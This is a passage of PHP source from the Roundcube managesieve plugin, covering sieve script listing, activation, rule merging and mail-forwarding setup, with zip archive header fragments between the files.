        // Handle active script(s) and list of scripts according to Kolab's KEP:14
        if ($this->rc->config->get('managesieve_kolab_master')) {
            // Skip protected names
            foreach ((array) $this->list as $idx => $name) {
                $_name = strtoupper($name);
                if ($_name == 'MASTER') {
                    $master_script = $name;
                }
                else if ($_name == 'MANAGEMENT') {
                    $management_script = $name;
                }
                else if ($_name == 'USER') {
                    $user_script = $name;
                }
                else {
                    continue;
                }

                unset($this->list[$idx]);
            }

            // get active script(s), read USER script
            if (!empty($user_script)) {
                $extension = $this->rc->config->get('managesieve_filename_extension', '.sieve');
                $filename_regex = '/'.preg_quote($extension, '/').'$/';
                $_SESSION['managesieve_user_script'] = $user_script;

                $this->sieve->load($user_script);

                if (!empty($this->sieve->script)) {
                    foreach ($this->sieve->script->as_array() as $rules) {
                        foreach ($rules['actions'] as $action) {
                            if ($action['type'] == 'include' && empty($action['global'])) {
                                $name = preg_replace($filename_regex, '', $action['target']);
                                // make sure the script exist
                                if (in_array($name, $this->list)) {
                                    $this->active[] = $name;
                                }
                            }
                        }
                    }
                }
            }
            // create USER script if it doesn't exist
            else {
                $content = "# USER Management Script\n"
                    ."#\n"
                    ."# This script includes the various active sieve scripts\n"
                    ."# it is AUTOMATICALLY GENERATED. DO NOT EDIT MANUALLY!\n"
                    ."#\n"
                    ."# For more information, see http://wiki.kolab.org/KEP:14#USER\n"
                    ."#\n";

                if ($this->sieve->save_script('USER', $content)) {
                    $_SESSION['managesieve_user_script'] = 'USER';
                    if (empty($this->master_file)) {
                        $this->sieve->activate('USER');
                    }
                }
            }
        }
        else if (!empty($this->list)) {
            // Get active script name
            if ($active = $this->sieve->get_active()) {
                $this->active = [$active];
            }

            // Hide scripts from config
            $exceptions = $this->rc->config->get('managesieve_filename_exceptions');
            if (!empty($exceptions)) {
                $this->list = array_diff($this->list, (array)$exceptions);
            }
        }

        // When no script listing allowed limit the list to the defined script
        if (in_array('list_sets', $this->disabled_actions)) {
            $script_name = $this->rc->config->get('managesieve_script_name', 'roundcube');
            $this->list = array_intersect($this->list, [$script_name]);
            $this->active = null;
            if (in_array($script_name, $this->list)) {
                // Because its the only allowed script make sure its active
                $this->activate_script($script_name);
            }
        }

        // reindex
        if (!empty($this->list)) {
            $this->list = array_values($this->list);
        }

        return $this->list;
    }

    /**
     * Removes sieve script
     *
     * @param string $name Script name
     *
     * @return bool True on success, False on failure
     */
    public function remove_script($name)
    {
        $result = $this->sieve->remove($name);

        // Kolab's KEP:14
        if ($result && $this->rc->config->get('managesieve_kolab_master')) {
            $this->deactivate_script($name);
        }

        return $result;
    }

    /**
     * Activates sieve script
     *
     * @param string $name Script name
     *
     * @return bool True on success, False on failure
     */
    public function activate_script($name)
    {
        // Kolab's KEP:14
        if ($this->rc->config->get('managesieve_kolab_master')) {
            $extension   = $this->rc->config->get('managesieve_filename_extension', '.sieve');
            $user_script = $_SESSION['managesieve_user_script'];
            $result      = false;

            // if the script is not active...
            if ($user_script && array_search($name, (array) $this->active) === false) {
                // ...rewrite USER file adding appropriate include command
                if ($this->sieve->load($user_script)) {
                    $script = $this->sieve->script->as_array();
                    $list   = [];
                    $regexp = '/' . preg_quote($extension, '/') . '$/';

                    // Create new include entry
                    $rule = [
                        'actions' => [
                            [
                                'target'   => $name . $extension,
                                'type'     => 'include',
                                'personal' => true,
                            ]
                        ]
                    ];

                    // get all active scripts for sorting
                    foreach ($script as $rid => $rules) {
                        foreach ($rules['actions'] as $action) {
                            if ($action['type'] == 'include' && empty($action['global'])) {
                                $target = $extension ? preg_replace($regexp, '', $action['target']) : $action['target'];
                                $list[] = $target;
                            }
                        }
                    }
                    $list[] = $name;

                    // Sort and find current script position
                    asort($list, SORT_LOCALE_STRING);
                    $list  = array_values($list);
                    $index = array_search($name, $list);

                    // add rule at the end of the script
                    if ($index === false || $index == count($list)-1) {
                        $this->sieve->script->add_rule($rule);
                    }
                    // add rule at index position
                    else {
                        $script2 = [];
                        foreach ($script as $rid => $rules) {
                            if ($rid == $index) {
                                $script2[] = $rule;
                            }
                            $script2[] = $rules;
                        }
                        $this->sieve->script->content = $script2;
                    }

                    $result = $this->sieve->save();
                    if ($result) {
                        $this->active[] = $name;
                    }
                }
            }
        }
        else {
            $result = $this->sieve->activate($name);
            if ($result) {
                $this->active = [$name];
            }
        }

        return $result;
    }

    /**
     * Deactivates sieve script
     *
     * @param string $name Script name
     *
     * @return bool True on success, False on failure
     */
    public function deactivate_script($name)
    {
        // Kolab's KEP:14
        if ($this->rc->config->get('managesieve_kolab_master')) {
            $extension   = $this->rc->config->get('managesieve_filename_extension', '.sieve');
            $user_script = $_SESSION['managesieve_user_script'];
            $result      = false;

            // if the script is active...
            if ($user_script && ($key = array_search($name, $this->active)) !== false) {
                // ...rewrite USER file removing appropriate include command
                if ($this->sieve->load($user_script)) {
                    $script = $this->sieve->script->as_array();
                    $name   = $name.$extension;
                    $rid    = 0;

                    foreach ($script as $rid => $rules) {
                        foreach ($rules['actions'] as $action) {
                            if ($action['type'] == 'include' && empty($action['global'])
                                && $action['target'] == $name
                            ) {
                                break 2;
                            }
                        }
                    }

                    // Entry found
                    if ($rid < count($script)) {
                        $this->sieve->script->delete_rule($rid);
                        $result = $this->sieve->save();
                        if ($result) {
                            unset($this->active[$key]);
                        }
                    }
                }
            }
        }
        else {
            $result = $this->sieve->deactivate();
            if ($result)
                $this->active = [];
        }

        return $result;
    }

    /**
     * Saves current script (adding some variables)
     */
    public function save_script($name = null)
    {
        // Kolab's KEP:14
        if ($this->rc->config->get('managesieve_kolab_master')) {
            $this->sieve->script->set_var('EDITOR', self::PROGNAME);
            $this->sieve->script->set_var('EDITOR_VERSION', self::VERSION);
        }

        return $this->sieve->save($name);
    }

    /**
     * Returns list of rules from the current script
     *
     * @return array List of rules
     */
    public function list_rules()
    {
        $result = [];
        $i      = 1;

        foreach ($this->script as $idx => $filter) {
            if (empty($filter['actions'])) {
                continue;
            }
            $fname = !empty($filter['name']) ? $filter['name'] : "#$i";
            $result[] = [
                'id'    => $idx,
                'name'  => $fname,
                'class' => !empty($filter['disabled']) ? 'disabled' : '',
            ];
            $i++;
        }

        return $result;
    }

    /**
     * Initializes internal script data
     */
    protected function init_script()
    {
        if (!$this->sieve->script) {
            return;
        }

        $this->script = $this->sieve->script->as_array();

        $headers    = [];
        $exceptions = ['date', 'currentdate', 'size', 'spamtest', 'body'];

        // find common headers used in script, will be added to the list
        // of available (predefined) headers (#1489271)
        foreach ($this->script as $rule) {
            foreach ((array) $rule['tests'] as $test) {
                if ($test['test'] == 'header') {
                    foreach ((array) $test['arg1'] as $header) {
                        $lc_header = strtolower($header);

                        // skip special names to not confuse UI
                        if (in_array($lc_header, $exceptions)) {
                            continue;
                        }

                        if (!isset($this->headers[$lc_header]) && !isset($headers[$lc_header])) {
                            $headers[$lc_header] = $header;
                        }
                    }
                }
            }
        }

        ksort($headers);

        $this->headers += $headers;
    }

    /**
     * Get all e-mail addresses of the user
     */
    protected function user_emails()
    {
        $addresses = $this->rc->user->list_emails();

        foreach ($addresses as $idx => $email) {
            $addresses[$idx] = $email['email'];
        }

        $addresses = array_unique($addresses);
        sort($addresses);

        return $addresses;
    }

    /**
     * Convert configured default headers into internal format
     */
    protected function get_default_headers()
    {
        $default = ['Subject', 'From', 'To'];
        $headers = (array) $this->rc->config->get('managesieve_default_headers', $default);

        if (empty($headers) || $headers === ['']) {
            $headers = $default;
        }

        $keys    = array_map('strtolower', $headers);
        $headers = array_combine($keys, $headers);

        // make sure there's no Date header
        unset($headers['date']);

        return $headers;
    }

    /**
     * Match type selector
     */
    protected function match_type_selector($name, $id, $test, $rule = null, $mode = 'all')
    {
        // matching type select (operator)
        $select_op = new html_select([
                'name'     => "_{$name}[$id]",
                'id'       => "{$name}{$id}",
                'style'    => 'display:' . (!in_array($rule, ['size', 'duplicate', 'spamtest']) ? 'inline' : 'none'),
                'class'    => 'operator_selector col-6 custom-select',
                'onchange' => "{$name}_select(this, '{$id}')",
        ]);

        $select_op->add(rcube::Q($this->plugin->gettext('filtercontains')), 'contains');
        $select_op->add(rcube::Q($this->plugin->gettext('filternotcontains')), 'notcontains');
        $select_op->add(rcube::Q($this->plugin->gettext('filteris')), 'is');
        $select_op->add(rcube::Q($this->plugin->gettext('filterisnot')), 'notis');
        if ($mode == 'all') {
            $select_op->add(rcube::Q($this->plugin->gettext('filterexists')), 'exists');
            $select_op->add(rcube::Q($this->plugin->gettext('filternotexists')), 'notexists');
        }
        $select_op->add(rcube::Q($this->plugin->gettext('filtermatches')), 'matches');
        $select_op->add(rcube::Q($this->plugin->gettext('filternotmatches')), 'notmatches');
        if (in_array('regex', $this->exts)) {
            $select_op->add(rcube::Q($this->plugin->gettext('filterregex')), 'regex');
            $select_op->add(rcube::Q($this->plugin->gettext('filternotregex')), 'notregex');
        }
        if ($mode == 'all' && in_array('relational', $this->exts)) {
            $select_op->add(rcube::Q($this->plugin->gettext('countisgreaterthan')), 'count-gt');
            $select_op->add(rcube::Q($this->plugin->gettext('countisgreaterthanequal')), 'count-ge');
            $select_op->add(rcube::Q($this->plugin->gettext('countislessthan')), 'count-lt');
            $select_op->add(rcube::Q($this->plugin->gettext('countislessthanequal')), 'count-le');
            $select_op->add(rcube::Q($this->plugin->gettext('countequals')), 'count-eq');
            $select_op->add(rcube::Q($this->plugin->gettext('countnotequals')), 'count-ne');
            $select_op->add(rcube::Q($this->plugin->gettext('valueisgreaterthan')), 'value-gt');
            $select_op->add(rcube::Q($this->plugin->gettext('valueisgreaterthanequal')), 'value-ge');
            $select_op->add(rcube::Q($this->plugin->gettext('valueislessthan')), 'value-lt');
            $select_op->add(rcube::Q($this->plugin->gettext('valueislessthanequal')), 'value-le');
            $select_op->add(rcube::Q($this->plugin->gettext('valueequals')), 'value-eq');
            $select_op->add(rcube::Q($this->plugin->gettext('valuenotequals')), 'value-ne');
        }

        return $select_op->show($test);
    }

    protected function comparator_selector($comparator, $name, $id)
    {
        $select_comp = new html_select([
                'name'  => "_{$name}[$id]",
                'id'    => "{$name}_op{$id}",
                'class' => 'custom-select'
        ]);
        $select_comp->add(rcube::Q($this->plugin->gettext('default')), '');
        $select_comp->add(rcube::Q($this->plugin->gettext('octet')), 'i;octet');
        $select_comp->add(rcube::Q($this->plugin->gettext('asciicasemap')), 'i;ascii-casemap');
        if (in_array('comparator-i;ascii-numeric', $this->exts)) {
            $select_comp->add(rcube::Q($this->plugin->gettext('asciinumeric')), 'i;ascii-numeric');
        }

        return $select_comp->show($comparator);
    }

    /**
     * Merge a rule into the script
     */
    protected function merge_rule($rule, $existing, &$script_name = null)
    {
        // if script does not exist create a new one
        if ($script_name === null || $script_name === false) {
            $script_name = $this->create_default_script();
            $this->sieve->load($script_name);
            $this->init_script();
        }

        if (!$this->sieve->script) {
            return false;
        }

        $script_active   = in_array($script_name, $this->active);
        $rule_active     = empty($rule['disabled']);
        $rule_index      = 0;
        $activate_script = false;

        // If the script is not active, but the rule is,
        // put the rule in an active script if there is one
        if (!$script_active && $rule_active && !empty($this->active)) {
            // Remove the rule from current (inactive) script
            if (isset($existing['idx'])) {
                unset($this->script[$existing['idx']]);
                $this->sieve->script->content = $this->script;
                $this->save_script($script_name);
            }

            // Load and init the active script, add the rule there
            $this->sieve->load($script_name = $this->active[0]);
            $this->init_script();
            array_unshift($this->script, $rule);
        }
        // update original forward rule/script
        else {
            // re-order rules if needed
            if (isset($rule['after']) && $rule['after'] !== '') {
                // unset the original rule
                if (isset($existing['idx'])) {
                    $this->script[$existing['idx']] = null;
                }

                // add at target position
                if ($rule['after'] >= count($this->script) - 1) {
                    $this->script[] = $rule;
                    $this->script = array_values(array_filter($this->script));
                    $rule_index = count($this->script);
                }
                else {
                    $script = [];

                    foreach ($this->script as $idx => $r) {
                        if ($r) {
                            $script[] = $r;
                        }

                        if ($idx == $rule['after']) {
                            $script[] = $rule;
                            $rule_index = count($script);
                        }
                    }

                    $this->script = $script;
                }
            }
            // rule exists, update it "in place"
            else if (isset($existing['idx'])) {
                $this->script[$existing['idx']] = $rule;
                $rule_index = $existing['idx'];
            }
            // otherwise put the rule on top
            else {
                array_unshift($this->script, $rule);
                $rule_index = 0;
            }

            // if the script is not active, but the rule is, we need to de-activate
            // all rules except the forward rule
            if (!$script_active && $rule_active) {
                $activate_script = true;
                foreach ($this->script as $idx => $r) {
                    if ($idx !== $rule_index) {
                        $this->script[$idx]['disabled'] = true;
                    }
                }
            }
        }

        $this->sieve->script->content = $this->script;

        // save the script
        $saved = $this->save_script($script_name);

        // activate the script
        if ($saved && $activate_script) {
            $this->activate_script($script_name);
        }

        return $saved;
    }

    /**
     * Create default script
     */
    protected function create_default_script()
    {
        // if script not exists build default script contents
        $script_file  = $this->rc->config->get('managesieve_default');
        $script_name  = $this->rc->config->get('managesieve_script_name');
        $kolab_master = $this->rc->config->get('managesieve_kolab_master');
        $content      = '';

        if (empty($script_name)) {
            $script_name = 'roundcube';
        }

        if ($script_file && !$kolab_master && is_readable($script_file) && !is_dir($script_file)) {
            $content = file_get_contents($script_file);
        }

        // add script and set it active
        if ($this->sieve->save_script($script_name, $content)) {
            $this->activate_script($script_name);
            $this->list[] = $script_name;
        }

        return $script_name;
    }

    /**
     * Read email address input, parse it and check validity
     */
    protected function action_email_input($i, $field)
    {
        // According to RFC5230 the :from string must specify a valid [RFC2822] mailbox-list
        // we'll try to extract addresses and validate them separately
        $from = rcube_mime::decode_address_list($this->form['actions'][$i][$field], null, true, RCUBE_CHARSET);
        foreach ((array) $from as $idx => $addr) {
            if (empty($addr['mailto']) || !rcube_utils::check_email($addr['mailto'])) {
                $this->errors['actions'][$i][$field] = $this->plugin->gettext('noemailwarning');
                break;
            }
            else {
                $from[$idx] = format_email_recipient($addr['mailto'], $addr['name']);
            }
        }

        // Only one address is allowed (at least on cyrus imap)
        if (is_array($from) && count($from) > 1) {
            $this->errors['actions'][$i][$field] = $this->plugin->gettext('noemailwarning');
        }

        // Then we convert it back to RFC2822 format
        if (empty($this->errors['actions'][$i][$field]) && !empty($from)) {
            $this->form['actions'][$i][$field] = Mail_mimePart::encodeHeader(
                'From', implode(', ', $from), RCUBE_CHARSET, 'base64', '');

            return true;
        }

        return false;
    }
}
PKh�\e�z331plugins/managesieve/lib/Roundcube/rcube_sieve.phpnu�[���<?php

/**
 * Classes for managesieve operations (using PEAR::Net_Sieve)
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

// Managesieve Protocol: RFC5804

class rcube_sieve
{
    private $sieve;                 // Net_Sieve object
    private $error      = false;    // error flag
    private $errorLines = [];       // array of line numbers within sieve script which raised an error
    private $list       = [];       // scripts list
    private $exts;                  // array of supported extensions
    private $active;                // active script name

    public $script;                 // rcube_sieve_script object
    public $current;                // name of currently loaded script

    const ERROR_CONNECTION = 1;
    const ERROR_LOGIN      = 2;
    const ERROR_NOT_EXISTS = 3;    // script not exists
    const ERROR_INSTALL    = 4;    // script installation
    const ERROR_ACTIVATE   = 5;    // script activation
    const ERROR_DELETE     = 6;    // script deletion
    const ERROR_INTERNAL   = 7;    // internal error
    const ERROR_DEACTIVATE = 8;    // script activation
    const ERROR_OTHER      = 255;  // other/unknown error


    /**
     * Object constructor
     *
     * @param string $username  Username (for managesieve login)
     * @param string $password  Password (for managesieve login)
     * @param string $host      Managesieve server hostname/address
     * @param string $port      Managesieve server port number
     * @param string $auth_type Managesieve authentication method
     * @param bool   $usetls    Enable/disable TLS use
     * @param array  $disabled  Disabled extensions
     * @param bool   $debug     Enable/disable debugging
     * @param string $auth_cid  Proxy authentication identifier
     * @param string $auth_pw   Proxy authentication password
     * @param array  $options   List of options to pass to stream_context_create().
     */
    public function __construct($username, $password = '', $host = 'localhost', $port = 4190,
        $auth_type = null, $usetls = true, $disabled = [], $debug = false,
        $auth_cid = null, $auth_pw = null, $options = [], $gssapi_principal = null,
        $gssapi_cname = null)
    {
        $this->sieve = new Net_Sieve();

        if ($debug) {
            $this->sieve->setDebug(true, [$this, 'debug_handler']);
        }

        if (isset($gssapi_principal)) {
            $this->sieve->setServicePrincipal($gssapi_principal);
        }

        if (isset($gssapi_cname)) {
            $this->sieve->setServiceCN($gssapi_cname);
        }

        $result = $this->sieve->connect($host, $port, $options, $usetls);

        if (is_a($result, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_CONNECTION);
        }

        $authz = null;

        if (!empty($auth_cid)) {
            $authz    = $username;
            $username = $auth_cid;
        }

        if (!empty($auth_pw)) {
            $password = $auth_pw;
        }

        $result = $this->sieve->login($username, $password, $auth_type ? strtoupper($auth_type) : null, $authz);

        if (is_a($result, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_LOGIN);
        }

        $this->exts = $this->get_extensions();

        // disable features by config
        if (!empty($disabled)) {
            // we're working on lower-cased names
            $disabled = array_map('strtolower', (array) $disabled);
            foreach ($disabled as $ext) {
                if (($idx = array_search($ext, $this->exts)) !== false) {
                    unset($this->exts[$idx]);
                }
            }
        }
    }

    public function __destruct()
    {
        $this->sieve->disconnect();
    }

    /**
     * Getter for error code
     */
    public function error()
    {
        return $this->error ?: false;
    }

    /**
     * Saves current script into server
     */
    public function save($name = null)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        if (!$this->script) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        if (!$name) {
            $name = $this->current;
        }

        $script = $this->script->as_text();

        if (!$script) {
            $script = '/* empty script */';
        }

        $result = $this->sieve->installScript($name, $script);
        if (is_a($result, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_INSTALL);
        }

        return true;
    }

    /**
     * Saves text script into server
     */
    public function save_script($name, $content = null)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        if (!$content) {
            $content = '/* empty script */';
        }

        $result = $this->sieve->installScript($name, $content);

        if (is_a($result, 'PEAR_Error')) {
            $rawErrorMessage = $result->getMessage();
            $errMessages = preg_split("/$name:/", $rawErrorMessage);

            if (count($errMessages) > 0) {
                foreach ($errMessages as $singleError) {
                    $res = preg_match('/line (\d+):(.*)/i', $singleError, $matches);

                    if ($res === 1 ) {
                        if (count($matches) > 2) {
                            $this->errorLines[] = ['line' => $matches[1], 'msg' => $matches[2]];
                        }
                        else {
                            $this->errorLines[] = ['line' => $matches[1], 'msg' => null];
                        }
                    }
                }
            }

            return $this->_set_error(self::ERROR_INSTALL);
        }

        return true;
    }

    /**
     * Returns the current error line within the saved sieve script
     */
    public function get_error_lines()
    {
        return $this->errorLines;
    }

    /**
     * Activates specified script
     */
    public function activate($name = null)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        if (!$name) {
            $name = $this->current;
        }

        $result = $this->sieve->setActive($name);

        if (is_a($result, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_ACTIVATE);
        }

        $this->active = $name;

        return true;
    }

    /**
     * De-activates specified script
     */
    public function deactivate()
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        $result = $this->sieve->setActive('');

        if (is_a($result, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_DEACTIVATE);
        }

        $this->active = null;

        return true;
    }

    /**
     * Removes specified script
     */
    public function remove($name = null)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        if (!$name) {
            $name = $this->current;
        }

        // script must be deactivated first
        if ($name == $this->sieve->getActive()) {
            $result = $this->sieve->setActive('');

            if (is_a($result, 'PEAR_Error')) {
                return $this->_set_error(self::ERROR_DELETE);
            }

            $this->active = null;
        }

        $result = $this->sieve->removeScript($name);

        if (is_a($result, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_DELETE);
        }

        if ($name == $this->current) {
            $this->current = null;
        }

        $this->list = null;

        return true;
    }

    /**
     * Gets list of supported by server Sieve extensions
     */
    public function get_extensions()
    {
        if ($this->exts) {
            return $this->exts;
        }

        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        $ext = $this->sieve->getExtensions();

        if (is_a($ext, 'PEAR_Error')) {
            return [];
        }

        // we're working on lower-cased names
        $ext = array_map('strtolower', (array) $ext);

        if ($this->script) {
            $supported = $this->script->get_extensions();
            $ext       = array_values(array_intersect($ext, $supported));
        }

        return $ext;
    }

    /**
     * Gets list of scripts from server
     */
    public function get_scripts()
    {
        if (!$this->list) {
            if (!$this->sieve) {
                return $this->_set_error(self::ERROR_INTERNAL);
            }

            $active = null;
            $list   = $this->sieve->listScripts($active);

            if (is_a($list, 'PEAR_Error')) {
                return $this->_set_error(self::ERROR_OTHER);
            }

            $this->list   = $list;
            $this->active = $active;
        }

        return $this->list;
    }

    /**
     * Returns active script name
     */
    public function get_active()
    {
        if ($this->active !== null) {
            return $this->active;
        }

        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        return $this->active = $this->sieve->getActive();
    }

    /**
     * Loads script by name
     */
    public function load($name)
    {
        if ($this->current === $name) {
            return true;
        }

        $script = $this->get_script($name);

        if ($script === false) {
            return false;
        }

        // try to parse to Roundcube format
        $this->script = $this->_parse($script);

        $this->current = $name;

        return true;
    }

    /**
     * Loads script from text content
     */
    public function load_script($script)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        // try to parse to Roundcube format
        $this->script = $this->_parse($script);
    }

    /**
     * Creates rcube_sieve_script object from text script
     */
    private function _parse($txt)
    {
        // parse
        $script = new rcube_sieve_script($txt, $this->exts);

        // fix/convert to Roundcube format
        if (!empty($script->content)) {
            // replace all elsif with if+stop, we support only ifs
            foreach ($script->content as $idx => $rule) {
                if (empty($rule['type']) || !preg_match('/^(if|elsif|else)$/', $rule['type'])) {
                    continue;
                }

                $script->content[$idx]['type'] = 'if';

                // 'stop' not found?
                foreach ($rule['actions'] as $action) {
                    if (preg_match('/^(stop|vacation)$/', $action['type'])) {
                        continue 2;
                    }
                }

                if (!empty($script->content[$idx+1]) && $script->content[$idx+1]['type'] != 'if') {
                    $script->content[$idx]['actions'][] = ['type' => 'stop'];
                }
            }
        }

        return $script;
    }

    /**
     * Gets specified script as text
     */
    public function get_script($name)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        $content = $this->sieve->getScript($name);

        if (is_a($content, 'PEAR_Error')) {
            return $this->_set_error(self::ERROR_OTHER);
        }

        return $content;
    }

    /**
     * Creates empty script or a copy of another script
     */
    public function copy($name, $copy)
    {
        if (!$this->sieve) {
            return $this->_set_error(self::ERROR_INTERNAL);
        }

        $content = '';

        if ($copy) {
            $content = $this->sieve->getScript($copy);

            if (is_a($content, 'PEAR_Error')) {
                return $this->_set_error(self::ERROR_OTHER);
            }
        }

        return $this->save_script($name, $content);
    }

    private function _set_error($error)
    {
        $this->error = $error;
        return false;
    }

    /**
     * This is our own debug handler for connection
     */
    public function debug_handler($sieve, $message)
    {
        rcube::write_log('sieve', preg_replace('/\r\n$/', '', $message));
    }
}
PKh�\Wd�.�<�<9plugins/managesieve/lib/Roundcube/rcube_sieve_forward.phpnu�[���<?php

/**
 * Managesieve Forward Engine
 *
 * Engine part of Managesieve plugin implementing UI and backend access.
 *
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_sieve_forward extends rcube_sieve_engine
{
    protected $error;
    protected $script_name;
    protected $forward = [];

    function actions()
    {
        $error = $this->start('forward');

        // find current forward rule
        if (!$error) {
            $this->forward_rule();
            $this->forward_post();
        }

        $this->plugin->add_label('forward.saving');
        $this->rc->output->add_handlers([
                'forwardform' => [$this, 'forward_form'],
        ]);

        $this->rc->output->set_pagetitle($this->plugin->gettext('forward'));
        $this->rc->output->send('managesieve.forward');
    }

    /**
     * Find and load sieve script with/for forward rule
     *
     * @param string $script_name Optional script name
     *
     * @return int Connection status: 0 on success, >0 on failure
     */
    protected function load_script($script_name = null)
    {
        if ($this->script_name !== null) {
            return 0;
        }

        $list     = $this->list_scripts();
        $master   = $this->rc->config->get('managesieve_kolab_master');
        $included = [];

        $this->script_name = false;

        // first try the active script(s)...
        if (!empty($this->active)) {
            // Note: there can be more than one active script on KEP:14-enabled server
            foreach ($this->active as $script) {
                if ($this->sieve->load($script)) {
                    foreach ($this->sieve->script->as_array() as $rule) {
                        if (!empty($rule['actions'])) {
                            if ($rule['actions'][0]['type'] == 'redirect') {
                                $this->script_name = $script;
                                return 0;
                            }
                            else if (empty($master) && $rule['actions'][0]['type'] == 'include') {
                                $included[] = $rule['actions'][0]['target'];
                            }
                        }
                    }
                }
            }

            // ...else try scripts included in active script (not for KEP:14)
            foreach ($included as $script) {
                if ($this->sieve->load($script)) {
                    foreach ($this->sieve->script->as_array() as $rule) {
                        if (!empty($rule['actions']) && $rule['actions'][0]['type'] == 'redirect') {
                            $this->script_name = $script;
                            return 0;
                        }
                    }
                }
            }
        }

        // try all other scripts
        if (!empty($list)) {
            // else try included scripts
            foreach (array_diff($list, $included, $this->active) as $script) {
                if ($this->sieve->load($script)) {
                    foreach ($this->sieve->script->as_array() as $rule) {
                        if (!empty($rule['actions']) && $rule['actions'][0]['type'] == 'redirect') {
                            $this->script_name = $script;
                            return 0;
                        }
                    }
                }
            }

            // none of the scripts contains existing forward rule
            // use any (first) active or just existing script (in that order)
            if (!empty($this->active)) {
                $this->sieve->load($this->script_name = $this->active[0]);
            }
            else {
                $this->sieve->load($this->script_name = $list[0]);
            }
        }

        return $this->sieve->error();
    }

    private function forward_rule()
    {
        if ($this->script_name === false || $this->script_name === null || !$this->sieve->load($this->script_name)) {
            return;
        }

        $list   = [];
        $active = in_array($this->script_name, $this->active);

        // find (first) simple forward rule that can be expressed with the minimal settings
        foreach ($this->script as $idx => $rule) {
            if (empty($this->forward) && !empty($rule['actions']) && $rule['actions'][0]['type'] == 'redirect') {
                $ignore_rule = false;
                $target      = null;
                $stop_found  = false;
                $action      = 'keep';

                foreach ($rule['actions'] as $act) {
                    if ($stop_found) {
                        // we might loose information if there rules after the stop
                        $ignore_rule = true;
                    }
                    if ($act['type'] == 'keep') {
                        $action = 'copy';
                    }
                    else if ($act['type'] == 'stop') {
                        // we might loose information if there are rules after the stop
                        $stop_found = true;
                    }
                    else if ($act['type'] == 'discard') {
                        $action = 'redirect';
                    }
                    else if ($act['type'] == 'redirect') {
                        if (!empty($target)) {
                            // we cannot use this rule, because there are multiple targets
                            $ignore_rule = true;
                        }
                        else {
                            $action = !empty($act['copy']) ? 'copy' : 'redirect';
                            $target = $act['target'];
                        }
                    }
                    else {
                        // we cannot use this rule, because there are unknown commands, and we don't want to overwrite them.
                        $ignore_rule = true;
                    }
                }

                if (count($rule['tests']) != 1 || $rule['tests'][0]['test'] != "true" || $rule['tests'][0]['not'] != null) {
                    // ignore rules that have special conditions
                    $ignore_rule = true;
                }

                if (!$ignore_rule) {
                    $this->forward = array_merge($rule['actions'][0], [
                        'idx'      => $idx,
                        'disabled' => $rule['disabled'] || !$active,
                        'name'     => $rule['name'],
                        'tests'    => $rule['tests'],
                        'action'   => $action,
                        'target'   => $target,
                    ]);
                }
            }
            else if ($active) {
                $list[$idx] = $rule['name'];
            }
        }

        $this->forward['list'] = $list;
    }

    private function forward_post()
    {
        if (empty($_POST)) {
            return;
        }

        $status = rcube_utils::get_input_string('forward_status', rcube_utils::INPUT_POST);
        $action = rcube_utils::get_input_string('forward_action', rcube_utils::INPUT_POST);
        $target = rcube_utils::get_input_string('action_target', rcube_utils::INPUT_POST, true);
        $target_domain = rcube_utils::get_input_string('action_domain', rcube_utils::INPUT_POST);

        $date_extension = in_array('date', $this->exts);

        if ($target_domain) {
            $target .= '@' . $target_domain;
        }

        if (empty($target) || !rcube_utils::check_email($target)) {
            $error = 'noemailwarning';
        }

        if (empty($this->forward['tests'])) {
            $forward_tests = (array) $this->rc->config->get('managesieve_forward_test', [['test' => 'true']]);
        }
        else {
            $forward_tests = (array) $this->forward['tests'];
        }

        if (empty($error)) {
            $rule               = $this->forward;
            $rule['type']       = 'if';
            $rule['name']       = !empty($rule['name']) ? $rule['name'] : $this->plugin->gettext('forward');
            $rule['disabled']   = $status == 'off';
            $rule['tests']      = $forward_tests;
            $rule['join']       = $date_extension ? count($forward_tests) > 1 : false;
            $rule['actions']    = [[
                    'type'   => 'redirect',
                    'copy'   => $action == 'copy',
                    'target' => $target,
            ]];

            if ($this->merge_rule($rule, $this->forward, $this->script_name)) {
                $this->rc->output->show_message('managesieve.forwardsaved', 'confirmation');
                $this->rc->output->send();
            }
        }

        if (empty($error)) {
            $error = 'managesieve.saveerror';
        }

        $this->rc->output->show_message($error, 'error');
        $this->rc->output->send();
    }

    /**
     * Independent forward form
     */
    public function forward_form($attrib)
    {
        // build FORM tag
        $form_id = !empty($attrib['id']) ? $attrib['id'] : 'form';
